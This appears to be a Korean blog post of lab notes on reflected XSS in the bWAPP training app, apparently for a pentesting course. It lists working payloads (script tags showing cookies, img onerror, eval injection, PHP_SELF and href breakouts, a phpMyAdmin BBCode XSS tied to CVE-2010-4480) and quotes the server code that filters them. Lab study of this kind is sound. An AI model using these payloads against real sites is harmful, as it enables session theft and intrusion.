비박스를 활용한 웹 모의해킹 완벽 실습 - XSS(Reflected)

출처

인프런, 비박스를 활용한 웹 모의해킹 완벽 실습 15강 https://www.inflearn.com/course/%EB%B9%84%EB%B0%95%EC%8A%A4-%EB%AA%A8%EC%9D%98%ED%95%B4%ED%82%B9-%EC%8B%A4%EC%8A%B5/


XSS - Reflected

  • 취약한 매개변수에 악의적인 HTML 코드를 삽입하는 공격
  • HTML 태그로 악의적인 사이트에 연결하거나 악성 파일을 다운로드 하도록 유도

image


XSS - Reflected (GET)(Low)

image

  • First name: <script>alert(1)</script>, Last name: <script>document.write(document.cookie)</script>

image


XSS - Reflected (POST)(Low)

image

  • First name: <script>alert(1)</script>, Last name: <script>document.write(document.cookie)</script>

BurpSuite로 값 변경

image

  • 값을 다음과 같이 변경

image

image


XSS - Reflected (JSON) (Low)

image

  • test를 입력해주면 다음과 같이 뜸

image

페이지 소스

<script>

        var JSONResponseString = '{"movies":[{"response":"test??? Sorry, we don&#039;t have that movie :("}]}';

        // var JSONResponse = eval ("(" + JSONResponseString + ")");
        var JSONResponse = JSON.parse(JSONResponseString);

        document.getElementById("result").innerHTML=JSONResponse.movies[0].response;

    </script>
  • 입력한 값을 자바스크립트로 출력하는 것을 알 수 있음
  • 따라서 다음과 같이 스크립트를 닫는 작업으로 무시할 수 있음
  • </script><script>alert(1)</script>

image

  • 당연히 High에서는 안 됨
  • 다음과 같이 소스코드로 방어되어 있음
if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2")
    {

        // Retrieves the movie title
        $title = $_GET["title"];

    }

    else
    {

        $title = xss_check_3($_GET["title"]);

    }

XSS - Reflected (AJAX/JSON)(Low)

image

  • <script>alert(1)</script>를 입력하면 아무것도 출력이 되지 않음

페이지 소스 확인

 function process()
        {
            // Proceeds only if the xmlHttp object isn't busy
            if(xmlHttp.readyState == 4 || xmlHttp.readyState == 0)
            {
                // Retrieves the movie title typed by the user on the form
                // title = document.getElementById("title").value;
                title = encodeURIComponent(document.getElementById("title").value);
                // Executes the 'xss_ajax_1-2.php' page from the server
                xmlHttp.open("GET", "xss_ajax_2-2.php?title=" + title, true);  
                // Defines the method to handle server responses
                xmlHttp.onreadystatechange = handleServerResponse;
                // Makes the server request
                xmlHttp.send(null);
            }
            else
                // If the connection is busy, try again after one second  
                setTimeout("process()", 1000);
        }
  • 내부에서 xss_ajax_2-2.php를 호출함을 알 수 있음
  • BurpSuite에서 이를 확인할 수 있음

image

  • URL: http://192.168.190.143/bWAPP/xss_ajax_2-2.php?title=%3Cscript%3Ealert(1)%3C%2Fscript%3E

image

  • ajax_2-1.php는 문제가 없는데 내부에서 호출한 ajax_2-2.php가 문제가 있는 것

XSS - Reflected (AJAX/JSON)(Medium)

image

  • Low와 같은 URL을 입력해도 alert가 동작하지 않음
  • 하지만 이미지 태그를 넣고 onerror로 스크립트를 동작하게 하면 alert가 동작함
  • <img src=x onerror='alert(1)'>

image

XSS - Reflected (AJAX/JSON) 서버 코드

if($_COOKIE["security_level"] == "1")
        {

            // Generates the JSON output
            header("Content-Type: text/json; charset=utf-8");

        }

        // Generates the output depending on the movie title received from the client
        if(in_array(strtoupper($title), $movies))
            echo '{"movies":[{"response":"Yes! We have that movie..."}]}';
        else if(trim($title) == "")
            echo '{"movies":[{"response":"HINT: our master really loves Marvel movies :)"}]}';
         else
            echo '{"movies":[{"response":"' . $title . '??? Sorry, we don\'t have that movie :("}]}';

    }
  • security_level == 1(medium)일 때는 헤더를 정의해줘서 스크립트가 통하지 않았던 것

XSS - Reflected (Eval)(Low)

image

  • URL: http://192.168.190.143/bWAPP/xss_eval.php?date=Date()에서 date=Date()가 취약
  • http://192.168.190.143/bWAPP/xss_eval.php?date=eval(document.write(alert(1)))을 하면 XSS 동작

image


XSS - Reflected (Eval)(High)

image

  • URL에 Low와 같은 주소를 입력하면 실행이 안 됨

XSS - Reflected (Eval) 서버 코드

<?php

    if(isset($_GET["date"]))
    {    

        if($_COOKIE["security_level"] == "2")
        {

            if($_GET["date"] != "Date()")
            { 

                echo "<p><font color=\"red\">Invalid input detected!</font></p>";        

            }

            else
            {

    ?>

phpMyAdmin BBCode Tag XSS(Low)

image

image

  • CVE-2010-4480
  • BBcode로 XSS가 실행되듯이 동작하게 할 수 있음

phpmyadmin

  • php 관련 설정을 하는 사이트

image

  • URL: http://192.168.190.143/phpmyadmin/
  • php 버전이 낮아 취약점이 존재
  • URL: http://192.168.190.143/phpmyadmin/error.php?type=test1234&error=test4321 주소에 들어가면 다음과 같은 창이 뜸

image

BBcode 추가

  • 이전에 만들어둔 attack.html에 접속하도록 하게 함

attack.html

<script>alert(document.cookie)</script>
  • URL: http://192.168.190.143/phpmyadmin/error.php?type=test1234&error=test4321[a@http://192.168.190.143/bWAPP/attack.html@]click[/a]

image

  • 클릭을 하면

image


XSS - Reflected (PHP_SELF)

image

  • <script>document.write(document.cookie)</script>를 넣으면 끝

PHP_SELF

  • 세션은 유저마다 변수가 다름
  • PHP_SELF는 PHP의 서버 단위에서 전역변수로 사용
<h1>XSS - Reflected (PHP_SELF)</h1>

    <p>Enter your first and last name:</p>

    <form action="<?php echo xss(($_SERVER["PHP_SELF"]));?>" method="GET">

        <p><label for="firstname">First name:</label><br />
        <input type="text" id="firstname" name="firstname"></p>

        <p><label for="lastname">Last name:</label><br />
        <input type="text" id="lastname" name="lastname"></p>

        <button type="submit" name="form" value="submit">Go</button>  

    </form>
  • form의 action에 PHP_SELF가 존재
  • 웹페이지의 소스를 보면 다음과 같음
<form action="/bWAPP/xss_php_self.php" method="GET">

        <p><label for="firstname">First name:</label><br />
        <input type="text" id="firstname" name="firstname"></p>

        <p><label for="lastname">Last name:</label><br />
        <input type="text" id="lastname" name="lastname"></p>

        <button type="submit" name="form" value="submit">Go</button>  

    </form>
  • URL: 192.168.190.143/bWAPP/xss_php_self.php/"/><script>alert(1)</script>

image

  • PHP_SELF 자체는 취약할 수 있으니 조심

XSS - Reflected (HREF)

image

  • Name을 입력하고 넘어가면 다음과 같은 페이지가 뜸

image

  • 웹페이지 소스를 보면 다음과 같음
<tr height="30">

            <td>G.I. Joe: Retaliation</td>
            <td align="center">2013</td>
            <td>Cobra Commander</td>
            <td align="center">action</td>
            <td align="center"> <a href=xss_href-3.php?movie=1&name=ming&action=vote>Vote</a></td>

        </tr>         

        <tr height="30">

            <td>Iron Man</td>
            <td align="center">2008</td>
            <td>Tony Stark</td>
            <td align="center">action</td>
            <td align="center"> <a href=xss_href-3.php?movie=2&name=ming&action=vote>Vote</a></td>

        </tr>
  • href에 닉네임이 들어가기 때문에 스크립트를 삽입할 수 있음
  • Ming onmouseover=alert("xss") a를 삽입하고 Vote에 마우스를 올리면 다음과 같은 결과가 나옴

image

  • 이렇게 자바스크립트를 띄우는 것에 그치지 말고 이를 활용하는 법도 연구해볼 것

Comments